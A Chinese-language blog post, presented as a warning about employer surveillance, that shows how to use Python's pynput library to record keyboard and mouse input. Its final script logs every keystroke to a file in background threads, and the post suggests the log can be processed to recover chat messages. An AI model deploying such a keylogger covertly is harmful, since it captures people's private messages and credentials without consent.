摘要:目前具有此類功能的庫有很多,比如等游戲庫,但是當我們只需要監控鍵盤和鼠標時,它們就顯得過于笨重了,我們可以選擇輕量,快速的。
? ?
? ? 今天有位同事和我吐槽關于公司 XX 的問題,我告訴他不要在公司電腦上說這些,因為很可能會被狙擊,這位同事剛開始還不信,直到我寫了這邊文章,他才恍然大悟。
? ? pynput 可以監控我們的鍵盤和鼠標。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監控鍵盤和鼠標時,它們就顯得過于笨重了,我們可以選擇輕量,快速的 pynput。
? ? 假設公司想要靜默為我們的電腦常駐一個后臺進程去實現監控我們的鍵盤輸入并記錄下來,他們大概可以這樣做:
from pynput import keyboarddef on_press(key): print(f"{key} :pushed")def on_release(key): #print(f"{key} released") if key == keyboard.Key.esc: # Stop listener return Falsewith keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join()復制代碼
控制臺打印:? ? ? ? ? ? ? ? ? ?
from pynput import mousedef on_click(x, y, button, pressed): if button == mouse.Button.left: print("left was pressed!") elif button == mouse.Button.right: print("right was pressed!") return False else: print("mid was pressed!")# Collect events until releasedwith mouse.Listener(on_click=on_click) as listener: listener.join()復制代碼
控制臺打印:? ? ? ? ? ? ? ? ? ?
你會發現,每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發鼠標事件。
from pynput import keyboard,mousefrom loguru import loggerfrom threading import Thread# 定義日志文件logger.add("demo.log")def on_press(key): logger.debug(f"{key} :pushed")def on_release(key): #print(f"{key} released") if key == keyboard.Key.esc: # Stop listener return False# 定義f1用于線程1def f1(): with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join()def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug("left was pressed!") elif button == mouse.Button.right: logger.debug("right was pressed!") return False else: logger.debug("mid was pressed!")# 定義f2用于線程2def f2(): # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join()if __name__ == "__main__": # 起兩個線程分別監控鍵盤和鼠標 t1 = Thread(target=f1) t2 = Thread(target=f2) t1.start() t2.start()復制代碼
查看日志內容:? ?
? ? 如上,我們的鍵盤操作全部已經被記錄,通過對這個日志文件進行簡單的 NLTK
語言處理,就能復原你的聊天記錄。
以上就是今天的全部內容了,感謝您的閱讀,我們下節再會。
? ? 如果對軟件測試、接口測試、自動化測試、持續集成、面試經驗。感興趣? 可以進到806549072,群內會有不定期的分享測試資料。還會有技術大牛,業內同行一起交流技術
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/122580.html
摘要:導讀為數人云系列活動專題,本文是月日北京站線下活動當西方的遇上東方的互聯網中京東金融王超老師的分享。王超京東金融企業高級目前在京東金融平臺負責一個人左右的應用運維團隊團隊,也曾負責人人網團隊。 導讀:[GO SRE!] 為數人云SRE系列活動專題,本文是3月4日北京站線下活動當西方的SRE遇上東方的互聯網中京東金融王超老師的分享。 他將從SRE,Devops, PE間的關系開始,介紹企...
摘要:導讀為數人云系列活動專題,本文是月日北京站線下活動當西方的遇上東方的互聯網中京東金融王超老師的分享。王超京東金融企業高級目前在京東金融平臺負責一個人左右的應用運維團隊團隊,也曾負責人人網團隊。 導讀:[GO SRE!] 為數人云SRE系列活動專題,本文是3月4日北京站線下活動當西方的SRE遇上東方的互聯網中京東金融王超老師的分享。 他將從SRE,Devops, PE間的關系開始,介紹企...
摘要:再如通過處理流數據生成簡單的報告,如五分鐘的窗口聚合數據平均值。復雜的事情還有在流數據中進行數據多維度關聯聚合塞選,從而找到復雜事件中的根因。因為各種需求,也就造就了現在不斷出現實時計算框架,而下文我們將重磅介紹我們推薦的實時計算框架。 前言 先廣而告之,本文摘自本人《大數據重磅炸彈——實時計算框架 Flink》課程第二篇,內容首發自我的知識星球,后面持續在星球里更新,這里做個預告,今...
摘要:月日數人云在上海舉辦金融沙龍,邀請上交所和近二十家來自銀行保險證券的技術專家一同探討容器技術在金融業中的最佳實踐。數人云肖德時在會上將傳統金融行業通過容器可以解決的四大問題做了逐一解讀。如何動態的分配,就是剛才上交所介紹的一些治理的方法。 7月29日數人云在上海舉辦金融沙龍,邀請上交所和近二十家來自銀行、保險、證券的IT技術專家一同探討容器技術在金融業中的最佳實踐。數人云CTO肖德時在...
摘要:運維,哎,多么沉重的話題,初創公司的運維,哎,還能愉快的聊天嗎初創公司的運維,如今其實兼技術支持系統管理員網管網絡工程師研發工程師架構師,干著這些看似不相干甚至矛盾的工作。 運維,哎,多么沉重的話題,初創公司的運維,哎,還能愉快的聊天嗎? showImg(https://segmentfault.com/img/remote/1460000004893272); 初創公司的運維,如今其...
閱讀 1011·2021-11-23 10:11
閱讀 3854·2021-11-16 11:50
閱讀 921·2021-10-14 09:43
閱讀 2713·2021-10-14 09:42
閱讀 2710·2021-09-22 16:02
閱讀 1055·2019-08-29 10:57
閱讀 3378·2019-08-29 10:57
閱讀 2268·2019-08-26 13:52